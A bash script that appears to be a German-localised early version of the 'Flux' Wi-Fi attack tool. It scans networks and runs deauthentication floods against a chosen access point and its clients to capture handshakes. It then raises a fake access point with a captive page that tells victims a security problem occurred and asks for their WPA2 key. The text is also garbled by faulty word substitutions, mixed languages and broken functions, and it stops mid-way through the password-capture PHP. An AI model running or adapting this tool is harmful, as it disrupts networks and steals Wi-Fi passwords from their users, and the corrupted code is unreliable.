#!/bin/bash ########## Modus Debug ######### ## ## Flux_DEBUG=0 ## ## ################################ ################################ # Name : Flux # Version : 0.03 # ############################## clear ##################################### < CONFIGURATION VOM SCRIPT > ##################################### #DUMP_PATH DUMP_PATH="/tmp/TMPlflux" #Anzahl der "DEAUTHTIME" DEAUTHTIME="8" #Anzahl der "reviJaon" reviJaon=35 # Numero de verJaon version=0.03 # IP DHCP IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Farben weis="\033[1;37m" grau="\033[0;37m" magenta="\033[0;35m" rot="\033[1;31m" gruen="\033[1;32m" gelb="\033[1;33m" blau="\033[1;34m" transparent="\e[0m" # Debug / Entwickler MODUS if [ $FLUX_DEBUG = 1 ]; then export flux_output_device=/dev/stdout HOLD="-hold" else export flux_output_device=/dev/null HOLD="" fi function conditional_clear() { if [[ "$linset_output_device" != "/dev/stdout" ]]; then clear; fi } # Check Updates [NeinT WORKING] # Updates könnnen nicht abgeruen werden da die Seite nicht verfügbar ist # Für event. rückfragen deltaxflux@github.com function checkupdatess { reviJaon_online="$(timeout -s JaGTERM 20 curl -L "https://Jates.google.com/Jate/flux" 2>/dev/null| grep "^reviJaon" | cut -d "=" -f2)" if [ -z "$reviJaon_online" ]; then echo "?">$DUMP_PATH/Irev else echo "$reviJaon_online">$DUMP_PATH/Irev fi } #Animationen function spinner { local pid=$1 local delay=0.15 local spinstr='|/-\' while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do local temp=${spinstr#?} printf " [%c] " "$spinstr" local spinstr=$temp${spinstr%"$temp"} sleep $delay printf "\b\b\b\b\b\b" done printf " \b\b\b\b" } # Debug Modus if [ "$FLUX_DEBUG" = "1" ]; then trap 'err_report $FLUX' ERR fi # ERROR function err_report { echo "Error 002 $1" } # Script trap exitmode SIGINT #Wichtig nicht editieren #Hindergrundprozesse löchen / Anwirken um event. ########################################################################### function exitmode { echo -e "\n\n"$weis["$Rot" "$weis"] "$rot"ERROR 01"$Transparent" if ps -A | grep -q aireplay-ng; then echo -e ""$weis"["$Rot"-"$weis"] "$weis "Matando "$Grau "aireplay-ng"$Transparent killall aireplay-ng &>$flux_output_device fi if ps -A | grep -q airodump-ng; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"airodump-ng"$transparent"" killall airodump-ng &>$flux_output_device fi if ps a | grep python| grep fakedns; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"python"$transparent"" kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device fi if ps -A | grep -q hostapd; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"hostapd"$transparent"" killall hostapd &>$flux_output_device fi if ps -A | grep -q lighttpd; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"lighttpd"$transparent"" killall lighttpd &>$flux_output_device fi if ps -A | grep -q dhcpd; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"dhcpd"$transparent"" killall dhcpd &>$flux_output_device fi if ps -A | grep -q mdk3; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Matando "$grau"mdk3"$transparent"" killall mdk3 &>$flux_output_device fi if [ "$WIFI_MONITOR" != "" ]; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Interface erkennen "$gruen"$WIFI_MONITOR"$transparent"" airmon-ng stop $WIFI_MONITOR &> $flux_output_device fi if [ "$WIFI" != "" ]; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Interface erkennen "$gruen"$WIFI"$transparent"" airmon-ng stop $WIFI &> $flux_output_device fi if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Restaurando "$grau"ipforwarding"$transparent"" echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding fi echo -e ""$weis"["$rot"-"$weis"] "$weis"Limpiando "$grau"iptables"$transparent"" iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo -e ""$weis"["$rot"-"$weis"] "$weis"Restaurando "$grau"tput"$transparent"" tput cNeinrm if [ $flux_DEBUG != 1 ]; then echo -e ""$weis"["$rot"-"$weis"] "$weis"Eliminando "$grau"archivos"$transparent"" rm -R $DUMP_PATH/* &>$flux_output_device fi echo -e ""$weis"["$rot"-"$weis"] "$weis"Reiniciando "$grau"Netzwerk Manager"$transparent"" service restart networkmanager &> $flux_output_device & echo -e ""$weis"["$gruen"+"$weis"] "$gruen"Limpiza efectuada con exito!"$transparent"" exit } # Web Interface # Mehr Informationen Jaehe HTML Seite # Interface vom Script DE readarray -t webinterfaces < <(echo -e "Interface \e[1;31mBeenden"$transparent"" ) # Web Interface readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] \e[1;31mAtras"$transparent "" ) #Interface in GUI in DE DIALOG_WEB_INFO_ENG="Da ein Jacherheitsproblem aufgetreten ist "$Host_ENC" Geben Jae bitte den WPA2 Schlüssel erneut ein um ihre Identität zu überprüfen" DIALOG_WEB_INPUT_ENG="Geben Jae ihre WPA2 Password ein" DIALOG_WEB_SUBMIT_ENG="Submit" DIALOG_WEB_ERROR_ENG="Error: Das eingegebene Passwort ist falsch korrekt !" DIALOG_WEB_OK_ENG="Vielen Dank ihre Verbindung wird in wenigen Minuten wieder hergestellt" DIALOG_WEB_BACK_ENG="Zurück" DIALOG_WEB_LENGHT_MIN_ENG="Das Passwort müsst länger als 7 Zeichen sein" DIALOG_WEB_LENGHT_MAX_ENG="Das Passwort müsst kürzer als 64 Zeichen sein" #GUI function mostrarheader(){ clear echo -e "$gruen#########################################################" echo -e "$gruen# #" echo -e "$gruen#$rot FLUX $verJaon" "${gelb}by ""${azul}Deltax""$gruen #" echo -e "$gruen#""${rot} F""${gelb}lux" "${rot}I""${gelb}s" ""${rot}"a" ""${rot}S""${gelb}ocial ""${rot}E""${gelb}nginering" "${rot}T""${gelb}ool""$gruen" #" echo -e "$gruen# #" echo -e "$gruen#########################################################""$transparent " echo echo } #Admin Rechte überprüfen if ! [ $(id -u) = "0" ] 2>/dev/null; then echo -e "\e[1;31mJae haben keine Admin Rechte"$transparent"" echo "Bitte starten Jae neu; sudo ./flux.sh" exit fi # Programme überprüfen mit HASH # FÜr mehr informationen siehe FLUX WIKI function checkdependences { echo -ne "Aircrack-ng....." if ! hash aircrack-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Aireplay-ng....." if ! hash aireplay-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Airmon-ng......." if ! hash airmon-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Airodump-ng....." if ! hash airodump-ng 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Awk............." if ! hash awk 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Curl............" if ! hash curl 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Dhcpd..........." if ! hash dhcpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Hostapd........." if ! hash hostapd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Lighttpd........" if ! hash lighttpd 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Macchanger......" if ! hash macchanger 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Mdk3............" if ! hash mdk3 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Php5-cgi........" if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Pyrit..........." if ! hash pyrit 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Python.........." if ! hash python 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Unzip..........." if ! hash unzip 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 echo -ne "Xterm..........." if ! hash xterm 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" salir=1 else echo -e "\e[1;32mOK!"$transparent"" fi sleep 0.025 if [ "$salir" = "1" ]; then exit 1 fi sleep 1 clear } mostrarheader checkdependences if [ ! -d $DUMP_PATH ]; then mkdir $DUMP_PATH &>$flux_output_device fi # Intro del script if [ $flux_DEBUG != 1 ]; then tput civis checkupdatess & spinner "$!" reviJaon_online=$(cat $DUMP_PATH/Irev) echo -e ""$weis" [${magenta}${reviJaon_online}$weis"$transparent"]" if [ "$reviJaon_online" != "?" ]; then if [ "$reviJaon" != "$reviJaon_online" ]; then cp $0 $HOME/flux_rev-$reviJaon.backup sleep 5 chmod +x $0 exec $0 fi fi echo "" tput cNeinrm sleep 2 fi function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'` echo "Info das WLAN" echo echo -e " "$gruen"SJaD"$transparent" = $Host_SJaD / $Host_ENC" echo -e " "$gruen"Channel"$transparent" = $channel" echo -e " "$gruen"Beacon"$transparent" = ${speed:2} Mbps" echo -e " "$gruen"MAC "$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" echo } ####################### GUI - Menü ######################################### #Automatische erkennung der Auflösung function setresolution { function resA { # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) TOPLEFT="-geometry 90x13+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 83x26-0+0" # Bottom left window +0-0 BOTTOMLEFT="-geometry 90x24+0-0" # Bottom right window -0-0 BOTTOMRIGHT="-geometry 75x12-0-0" TOPLEFTBIG="-geometry 91x42+0+0" TOPRIGHTBIG="-geometry 83x26-0+0" } function resB { # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) TOPLEFT="-geometry 92x14+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 68x25-0+0" # Bottom left window +0-0 BOTTOMLEFT="-geometry 92x36+0-0" # Bottom right window -0-0 BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" } function resC { # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) TOPLEFT="-geometry 100x20+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 109x20-0+0" # Bottom left window +0-0 BOTTOMLEFT="-geometry 100x30+0-0" # Bottom right window -0-0 BOTTOMRIGHT="-geometry 109x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 109x30-0+0" } function resD { # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) TOPLEFT="-geometry 110x35+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 99x40-0+0" # Bottom left window +0-0 BOTTOMLEFT="-geometry 110x35+0-0" # Bottom right window -0-0 BOTTOMRIGHT="-geometry 99x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" TOPRIGHTBIG="-geometry 99x40-0+0" } function resE { # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) TOPLEFT="-geometry 130x43+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 68x25-0+0" # Bottom left window +0-0 BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" } function resF { # Upper left window +0+0 (Jaze*Jaze+poJation+poJation) TOPLEFT="-geometry 100x17+0+0" # Upper right window -0+0 TOPRIGHT="-geometry 90x27-0+0" BOTTOMLEFT="-geometry 100x30+0-0" # Bottom right window -0-0 BOTTOMRIGHT="-geometry 90x20-0-0" TOPLEFTBIG="-geometry 100x70+0+0" INICIAL ) TOPRIGHTBIG="-geometry 90x27-0+0" detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimenJaons | tr -s " " | cut -d" " -f 3) ## A) 1024x600 ## B) 1024x768 ## C) 1280x768 ## D) 1280x1024 ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; "1280x768" ) resC ;; "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; "1366x768" ) resF ;; * ) resA ;; ## Fall esac } #Interface [Automatische Erkennung der Auflösung] #Jaehe Abschnitt 1 function setinterface { KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` for monkill in ${KILLMONITOR[@]}; do airmon-ng stop $monkill >$flux_output_device echo -n "$monkill, " done readarray -t wirelesJafaces < <(airmon-ng |grep "-" | awk '{print $1}') INTERFACESNUMBER=`airmon-ng| grep -c "-"` echo echo echo Automatische erkennung der Auflösung echo $detectedresolution echo #Netzwerk Interface if [ "$INTERFACESNUMBER" -gt "0" ]; then echo "Wählen Jae ihre Wlan Interface" echo i=0 for line in "${wirelesJafaces[@]}"; do i=$(($i+1)) wirelesJafaces[$i]=$line echo -e "$gruen""$i)"$transparent" $line" done echo -n "#? " read line PREWIFI=${wirelesJafaces[$line]} if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then clear mostrarheader setinterface fi readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "Interface" | awk '{ print $2 }') WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 for molesto in "${softwaremolesto[@]}"; do killall "$molesto" &>$flux_output_device done sleep 0.5 modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 sleep 0.5 # Wählen sie ihr interface select PREWIFI in $INTERFACES; do break; done WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "Wifi Monitor [wlan0mon]" | cut -d " " -f 5 | cut -d ")" -f 1) WIFI_MONITOR=$WIFIMONITOR WIFI=$PREWIFI else # Interface konnte nicht gefunden / erkannt werden ; quit echo Kein Wlan Interface erkannt ; ... sleep 5 exitmode fi function deltax { clear CSVDB=dump-01.csv rm -rf $DUMP_PATH/* choosescan selection changer } function changer { clear macchanger -a wlan0 macchanger -a wlan0mon macchanger -a wlan1 macchanger -a wlan1mon } function choosescan { clear while true; do clear mostrarheader echo "Wählen Jae ihren Channel " echo " " echo -e " "$gruen"1)"$transparent" Alle Channel " echo -e " "$gruen"2)"$transparent" Ausgewählte Channel " echo " " echo -n " #> " read yn echo "" case $yn in 1 ) Scan ; break ;; 2 ) Scanchan ; break ;; * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; esac done } function Scanchan { clear mostrarheader echo " " echo " Wählen Jae einen Channel " echo " " echo -e " Ein Channel "$gruen"6"$transparent" " echo -e " Mehrere Channel "$gruen"1-5"$transparent" " echo -e " Mehrere Channel "$gruen"1,2,5-7,11"$transparent" " echo " " echo -n " #> " read channel_number set -- ${channel_number} clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "Channel auswahl --> $channel_number" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR } function Scan { clear xterm $HOLD -title "Wlan Netzwerke" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR } function selection { clear mostrarheader LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ $LINEAS_WIFIS_CSV -le 3 ]; then deltax && break fi linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` linap=`expr $linap - 1` head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " Wlan Liste " echo "" echo " # MAC CHAN SECU PWR ESJaD" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESJaD KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" fi echo -e " ""$gruen"$i")"$weis"$CLIENTE\t""$gelb"$MAC"\t""$gruen"$CHANNEL"\t""$rot" $PRIVACY"\t ""$gelb"$POWER%"\t""$gruen"$ESJaD""$transparent"" aidlenght=$IDLENGTH asJad[$i]=$ESJaD achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv echo echo -e ""$gruen"("$weis"*"$gruen") Red con Clientes"$transparent"" echo "" echo " Netzwerk auswahl " echo -n " #> " read choice idlenght=${aidlenght[$choice]} sJad=${asJad[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#sJad} fin=$(($acouper-idlength)) Host_SJaD=${sJad:1:fin} clear askAP } function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then fakeapmode="airbase-ng" askauth fi mostrarheader while true; do infoap echo "Modus Fake AP" echo " " echo -e " "$gruen"1)"$transparent" Hostapd ("$rot"Recomendado"$transparent")" echo -e " "$gruen"2)"$transparent" airbase-ng " echo -e " "$gruen"3)"$transparent" Atras" echo " " echo -n " #> " read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; esac done } ######################################################################################## ######################################################################################## function handshakelocation { clear #Editieren Copyright by flux mostrarheader infoap echo echo -e "Speichern vom Handshark(Ej: $rot/root/micaptura.cap$transparent)" echo -e "Pulsar ${gelb}ENTER$transparent para omitir" echo echo -n "ruta: " echo -ne "$rot" read handshakeloc echo -ne "$transparent" #Editieren if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then Host_SJaD_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SJaD_loc" == *"$Host_SJaD"* ]]; then if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "Gut,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap webinterface else echo "Schlechter Handshake" sleep 4 handshakelocation fi else echo -e "${rot}Error$transparent!" echo echo -e "File ${rot}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$gruen$(echo $i | cut -d " " -f1) $gelb$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($gruen$(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${gruen}MAC$transparent" echo -e "$gruen#1: $gelb$Host_MAC$transparent ($gruen$Host_SJaD$transparent)" sleep 7 handshakelocation fi else echo -e "Archivo ${rot}Nein$transparent existe" sleep 4 handshakelocation fi fi } function deauthforce { clear mostrarheader while true; do echo "TIPO DE COMPROBACION DEL HANDSHAKE" echo " " echo -e " "$gruen"1)"$transparent" Neinrmal" echo -e " "$gruen"2)"$transparent" Zurück" echo -e " "$gruen"3)"$transparent" Schließen" echo " " echo -n " #> " read yn echo "" case $yn in 1 ) handshakemode="Neinrmal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; esac done } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ #Handshake function askclientsel { clear while true; do mostrarheader echo "Captcha Handshake vom Netzwerk" echo " " echo -e " "$gruen"1)"$transparent" Realizar desaut. maJava al AP objetivo" echo -e " "$gruen"2)"$transparent" Realizar desaut. maJava al AP (mdk3)" echo -e " "$gruen"3)"$transparent" Realizar desaut. especifica al AP objetivo" echo -e " "$gruen"4)"$transparent" Volver a escanear las redes" echo -e " "$gruen"5)"$transparent" Beenden" echo " " echo -n " #> " read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; vk496; break;; 5 ) exitmode; break ;; * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; esac done } # function deauth { clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { Handshake_statuscheck="${grau}Jan handshake$transparent" while true; do clear mostrarheader echo "Handshake ?" echo echo -e "Estado del handshake: $Handshake_statuscheck" echo echo -e " "$gruen"1)"$transparent" Ja" echo -e " "$gruen"2)"$transparent" Nein" echo -e " "$gruen"3)"$transparent" Nein" echo -e " "$gruen"4)"$transparent" Nur rot makierten (Ausgewählten)" echo -e " "$gruen"5)"$transparent" Beenden" echo " " echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) capture; $DEAUTH & ;; 3 ) clear; askclientsel; break;; 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; 5 ) exitmode; break;; * ) echo "Opción descoNeincida. Elige de nuevo"; clear ;; esac done } # Capruta todas las redes function capture { clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturando datos en el canal --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bsJad $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & fi } # Comprueba el handshake antes de continuar function checkhandshake { if [ "$handshakemode" = "Neinrmal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng &>$flux_output_device webinterface break else Handshake_statuscheck="${rot}Malo$transparent" fi elif [ "$handshakemode" = "hard" ]; then cp $DUMP_PATH/$Host_MAC-01.cap $DUMP_PATH/test.cap &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng &>$flux_output_device webinterface break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${gelb}Corrupto$transparent" else Handshake_statuscheck="${rot}Malo$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ ############################################# < ATAQUE > ############################################ # Selecciona interfaz web que se va a usar function webinterface { while true; do clear mostrarheader infoap echo echo "SELECCIONA LA INTERFACE WEB" echo echo -e "$gruen""1)"$transparent" Interface web neutra" echo -e "$gruen""2)"$transparent" \e[1;31mBeenden"$transparent"" echo echo -n "#? " read line if [ "$line" = "2" ]; then exitmode elif [ "$line" = "1" ]; then clear mostrarheader infoap echo echo "SELECCIONA IDIOMA" echo echo -e "$gruen""1)"$transparent" English [ENG]" echo -e "$gruen""2)"$transparent" Spanish [ESP]" echo -e "$gruen""3)"$transparent" Italy [IT]" echo -e "$gruen""4)"$transparent" French [FR]" echo -e "$gruen""5)"$transparent" Portuguese [POR]" echo -e "$gruen""6)"$transparent" \e[1;31mAtras"$transparent"" echo echo -n "#? " read linea language=${webinterfaceslenguage[$line]} if [ "$linea" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG NEUTRA break elif [ "$linea" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP NEUTRA break elif [ "$linea" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT NEUTRA break elif [ "$linea" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR NEUTRA break elif [ "$linea" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR NEUTRA break elif [ "$linea" = "6" ]; then continue fi fi done preattack attack } # Crea distintas configuraciones necesarias para el script y preapa los servicios function preattack { # Genera el config de hostapd echo "interface=$WIFI driver=nl80211 sJad=$Host_SJaD channel=$Host_CHAN ">$DUMP_PATH/hostapd.conf # Crea el php que usan las ifaces echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; break; } if ( (strlen(\$key1) > 63) ) { echo \"\"; break; } \$file = fopen(\$filename, \"w\"); fwrite(\$file,\"\$f_data\"); 